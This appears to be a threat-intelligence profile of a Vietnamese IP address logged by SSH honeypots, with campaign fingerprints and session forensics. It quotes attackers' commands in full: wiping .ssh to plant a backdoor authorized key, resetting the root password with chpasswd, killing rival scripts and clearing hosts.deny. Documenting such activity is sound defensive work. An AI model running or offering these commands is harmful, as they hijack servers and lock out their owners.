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Location
🇻🇳 VN
ASN
AS135905 · VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
Cloud Provider
—
Total Events
817
Top 10% by volume
Agent Count
2
First / Last Seen
2026-06-25 08:41 — 2026-07-17 21:38
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (512 IPs, 72 countries)
HASSH
Active
high
🇺🇸 US
512 IPs
427333 events
ssh:bruteforce
2026-02-25 — ongoing · 512 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS135905 VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
ASN
Active
medium
🇻🇳 VN
7 IPs
5962 events
ssh:bruteforce
2026-02-16 — ongoing · 7 IPs from the same network (VIETNAM POSTS AND TELECOMMUNICATIONS GROUP, AS135905) were active during overlapping time periods. …
Session Forensics
Sessions
115 (40 with login)
Avg Depth Score
0.42
Commands Executed
77
Files Downloaded
21
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:9yBPkakjAUio"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
0c5fd990ac4b
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
592dbefea4cf
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7c67071a5379
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
60d115baa017
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
937a4e759584
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:9yBPkakjAUio"|chpasswd|bash
Opportunistic Bruter
100fcd3e2b50
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
55207869ffe6
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
c95ce62ee278
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
fe8894642c6d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
b7a8ef39e24d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
84dedf9e3d7d
15%
Loading events...
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
2580aca89541
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
4de5d4d25883
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
04ce1c000a69
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
74ceab6086f3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
f56a52e740d6
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0428d1d3e2b6
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
42b3aea3d5c6
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
9d71d210ddcb
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
ce1a0afff1b1
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0ac83332eccb
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6